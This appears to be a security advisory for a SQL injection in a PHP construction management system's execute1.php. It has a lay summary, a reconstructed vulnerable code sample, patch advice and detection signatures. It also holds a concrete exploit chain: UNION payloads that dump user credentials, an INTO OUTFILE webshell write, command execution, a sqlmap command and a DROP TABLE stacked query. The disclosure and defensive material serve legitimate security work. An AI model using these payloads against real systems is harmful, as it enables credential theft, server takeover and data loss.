CVE-2026-7074: SQL Injection via Unsanitized `code` Parameter in execute1.php
itsourcecode Construction Management System 1.0 passes attacker-controlled input directly into a SQL query in execute1.php. Unauthenticated remote exploitation enables data exfiltration and OS-level command execution via stacked queries.
A serious security flaw has been discovered in Construction Management System version 1.0, software used by construction companies to organize projects, budgets, and worker information. The vulnerability is like leaving your database's front door unlocked—attackers can walk in and read, change, or delete sensitive data without needing a password.
Here's what's happening: the software has a weak spot in one of its web pages where it accepts user input without checking it carefully. An attacker can slip malicious commands into this input, which the system then executes against its database. Think of it like handing someone a note that looks like an innocent question, but contains hidden instructions that make the bank teller empty your account.
The real danger is that no authentication is needed. Attackers don't have to hack past any login screens—they can exploit this from anywhere on the internet, completely anonymously. This means anyone running Construction Management System 1.0 could be vulnerable right now.
Who's at risk? Construction companies storing project details, worker information, payroll data, and client information in this software. If compromised, sensitive employee records and business plans could be stolen or destroyed, potentially disrupting ongoing projects or exposing private data.
The good news is there's no evidence attackers are currently exploiting this in the wild, so you have a window to act.
What to do: First, check if your company uses this specific software and version. Second, contact your IT team or the software vendor immediately to ask about a security update or patch. Third, if no patch exists yet, ask your IT team about temporarily taking the software offline or restricting who can access it from the internet. Don't delay on this one—once vulnerabilities become well-known, attackers move fast.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7074 is a classic unsanitized SQL injection in itsourcecode Construction Management System 1.0, a PHP/MySQL web application targeting small construction firms. The vulnerable endpoint is /execute1.php, which accepts a code parameter via GET or POST and passes it directly into a SQL SELECT statement with no parameterization, type coercion, or escaping. CVSS scores this at 7.3 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L), reflecting unauthenticated network reachability and high confidentiality impact.
The attack surface is trivially accessible — no session cookie, no CSRF token, no authentication check guards execute1.php. Any remote actor with HTTP access to the deployment can extract the full database, dump credentials, and, on MySQL deployments with FILE privilege or secure_file_priv misconfiguration, achieve OS-level code execution via INTO OUTFILE or LOAD_FILE.
Root cause: The code parameter passed to execute1.php is interpolated directly into a SQL query string without prepared statements, type validation, or escaping, enabling full UNION- and stacked-query-based injection from an unauthenticated remote context.
Affected Component
The entry point is /execute1.php, a script responsible for retrieving execution records tied to a project code. Based on the application's structure (typical of itsourcecode PHP bundles), the file interacts with a tbl_execution or similarly named table and renders results inline. The parameter code maps to a project or execution code used as a primary lookup key — an integer-typed column being queried through a string context, making even non-quoted injection viable.
Supporting database schema inferred from application behavior:
The following pseudocode reconstructs the vulnerable logic in execute1.php based on standard itsourcecode PHP patterns, the parameter name disclosed in the CVE, and the confirmed vulnerability class:
// FILE: /execute1.php
// Reconstructed pseudocode — PHP logic expressed as C-style pseudo for clarity
void handle_execute_request(http_request_t *req) {
// BUG: $_GET['code'] is attacker-controlled; no validation, no casting, no escaping
char *code = http_get_param(req, "code"); // e.g., "1 UNION SELECT ..."
// BUG: raw string interpolation into SQL query — no prepared statement
char query[512];
snprintf(query, sizeof(query),
"SELECT * FROM tbl_execution WHERE proj_code = '%s'", code);
// ^^
// attacker controls this field entirely
db_result_t *res = mysqli_query(db_conn, query); // executes injected SQL
while (row = mysqli_fetch_assoc(res)) {
render_row(row); // results reflected back to HTTP response body
}
}
In raw PHP, the vulnerable pattern resolves to approximately:
// EQUIVALENT PHP (reconstructed):
// $code = $_GET['code']; // no intval(), no htmlspecialchars()
// $query = "SELECT * FROM tbl_execution // BUG: direct interpolation
// WHERE proj_code = '$code'";
// $result = mysqli_query($conn, $query);
Because proj_code is stored and compared as a string (VARCHAR), the injected payload does not even require breaking out of an integer context. Single-quote termination of the string literal is sufficient to pivot into arbitrary SQL.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Enumerate column count via ORDER BY probing:
GET /execute1.php?code=1' ORDER BY 5-- -
(increment until error; establishes column count N)
2. Identify reflected columns via UNION NULL probe:
GET /execute1.php?code=1' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -
(swap NULLs for version() to find string-reflective column)
3. Extract database version, user, hostname:
GET /execute1.php?code=1' UNION SELECT 1,version(),user(),4,5-- -
Response body contains: 8.0.33 / root@localhost
4. Dump tbl_users credentials:
GET /execute1.php?code=1' UNION SELECT 1,username,password,email,5
FROM tbl_users-- -
Response: admin / 21232f297a57a5a743894a0e4a801fc3 (MD5: "admin")
5. (If FILE privilege + permissive secure_file_priv):
Write PHP webshell via INTO OUTFILE:
GET /execute1.php?code=1' UNION SELECT 1,'',
3,4,5 INTO OUTFILE '/var/www/html/cms/shell.php'-- -
6. Execute OS commands via dropped webshell:
GET /shell.php?cmd=id
Response: uid=33(www-data) gid=33(www-data)
7. Pivot: reverse shell, credential harvest, lateral movement.
Step 5 and 6 require the MySQL process user to hold FILE privilege and secure_file_priv to be empty or set to the web root — a misconfiguration common in shared hosting LAMP stacks and development deployments of applications like this. Blind injection via time-based payloads (SLEEP()) is also viable where output is not directly reflected.
Automated exploitation with sqlmap trivially confirms the vector:
# sqlmap invocation reconstructed from CVE class and endpoint
# python3 sqlmap.py -u "http://target/execute1.php?code=1" \
# --dbms=mysql --level=3 --risk=2 \
# --dump -T tbl_users -D construction_db \
# --batch --threads=5
# Expected sqlmap detection output:
# Parameter: code (GET)
# Type: boolean-based blind
# Payload: code=1' AND 5430=5430 AND 'xYzW'='xYzW
# Type: error-based
# Payload: code=1' AND EXTRACTVALUE(7419,CONCAT(...))-- -
# Type: UNION query
# Payload: code=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170...),NULL-- -
# Type: time-based blind
# Payload: code=1' AND SLEEP(5)-- -
Memory Layout
SQL injection in PHP/MySQL does not involve heap corruption, but the server-side query parse tree and result buffer state are relevant to understanding injection depth and stacked query viability:
MYSQL QUERY PARSE STATE — BENIGN REQUEST:
Input: code = "PRJ001"
Query: SELECT * FROM tbl_execution WHERE proj_code = 'PRJ001'
Parse: [SELECT] [*] [FROM tbl_execution] [WHERE proj_code = 'PRJ001']
Result: rows from tbl_execution matching proj_code
MYSQL QUERY PARSE STATE — INJECTED REQUEST:
Input: code = "1' UNION SELECT 1,username,password,email,5 FROM tbl_users-- -"
Query: SELECT * FROM tbl_execution WHERE proj_code = '1'
UNION SELECT 1,username,password,email,5 FROM tbl_users-- -'
Parse: [SELECT * FROM tbl_execution WHERE proj_code = '1']
UNION
[SELECT 1,username,password,email,5 FROM tbl_users]
-- remainder of original query commented out
Result: tbl_execution rows UNION tbl_users rows — all returned to PHP,
all rendered into HTTP response body
STACKED QUERY STATE (if mysqli_multi_query used):
Input: code = "1'; DROP TABLE tbl_users;-- -"
Query1: SELECT * FROM tbl_execution WHERE proj_code = '1'
Query2: DROP TABLE tbl_users
Impact: Destructive DDL execution — data loss
Note: stacked query execution requires mysqli_multi_query() rather than mysqli_query(). If the application uses the latter (more common in this codebase pattern), only UNION and subquery injection apply — still sufficient for full credential dump and webshell write.
Patch Analysis
The correct remediation replaces string interpolation with a prepared statement. The minimal viable patch for the reconstructed PHP logic:
// BEFORE (vulnerable):
// $code = $_GET['code'];
// $query = "SELECT * FROM tbl_execution WHERE proj_code = '$code'";
// ^^^^^^^
// raw attacker input in query string
// $result = mysqli_query($conn, $query);
// AFTER (patched — parameterized query):
// $code = $_GET['code'];
// $stmt = mysqli_prepare($conn,
// "SELECT * FROM tbl_execution WHERE proj_code = ?");
// mysqli_stmt_bind_param($stmt, "s", $code); // "s" = string; driver handles escaping
// mysqli_stmt_execute($stmt);
// $result = mysqli_stmt_get_result($stmt);
// ADDITIONAL HARDENING — type enforcement where proj_code is numeric:
// $code = intval($_GET['code']); // coerce to integer; injection impossible
// $query = "SELECT * FROM tbl_execution WHERE proj_code = $code";
//
// NOTE: intval() alone is sufficient for integer-typed columns but
// parameterized queries are the canonical fix regardless of column type.
Secondary hardening measures that should accompany the query fix:
DEFENSE IN DEPTH:
[1] Enforce authentication on execute1.php — no public unauthenticated access
[2] Set secure_file_priv to a non-web-accessible path in my.cnf:
secure_file_priv = /var/lib/mysql-files/
[3] Revoke FILE privilege from the application DB user:
REVOKE FILE ON *.* FROM 'cms_user'@'localhost';
[4] Deploy WAF rule blocking UNION/SELECT/SLEEP patterns in code parameter
[5] Enforce least-privilege DB account: SELECT-only on required tables
Detection and Indicators
Detection relies on access log pattern matching and query anomaly detection at the database layer:
APACHE/NGINX ACCESS LOG — ATTACK INDICATORS:
GET /execute1.php?code=1%27%20ORDER%20BY%205--%20- HTTP/1.1 (ORDER BY probe)
GET /execute1.php?code=1%27%20UNION%20SELECT%20... HTTP/1.1 (UNION extraction)
GET /execute1.php?code=1%27%20AND%20SLEEP%285%29--%20- HTTP/1.1 (time-based blind)
Signatures:
- URL-encoded single quote (%27) in code parameter
- Keywords: UNION, SELECT, ORDER BY, SLEEP, EXTRACTVALUE, INFORMATION_SCHEMA
- Unusually long code parameter values (>20 chars for a project code field)
MYSQL GENERAL QUERY LOG INDICATORS:
Query contains: UNION SELECT
Query contains: INFORMATION_SCHEMA.TABLES
Query contains: SLEEP(
Query contains: INTO OUTFILE
Execution time anomaly: >3s on simple lookup query (time-based blind)
FILESYSTEM INDICATOR (webshell drop):
New .php file created in web root with mtime during attack window
File contains: system(, exec(, passthru(, shell_exec(
Remediation
Immediate actions:
Apply parameterized queries to all SQL-interacting files — not only execute1.php. Audit the full codebase with grep -rn "mysqli_query\|mysql_query" *.php and flag any instance where query strings contain $_GET, $_POST, or $_REQUEST variables.
Restrict network access to the application to authenticated users at the web server or perimeter firewall level until code-level fix is deployed.
Rotate all credentials stored in the database immediately — assume tbl_users has been dumped if the endpoint was publicly accessible.
Audit the web root for unexpected PHP files and compare against known-good deployment checksums.
Review MySQL user grants and enforce REVOKE FILE and secure_file_priv hardening described above.
There is no vendor patch available at time of publication. The application appears unmaintained as a PHP learning resource; production deployment is strongly discouraged without a full security review.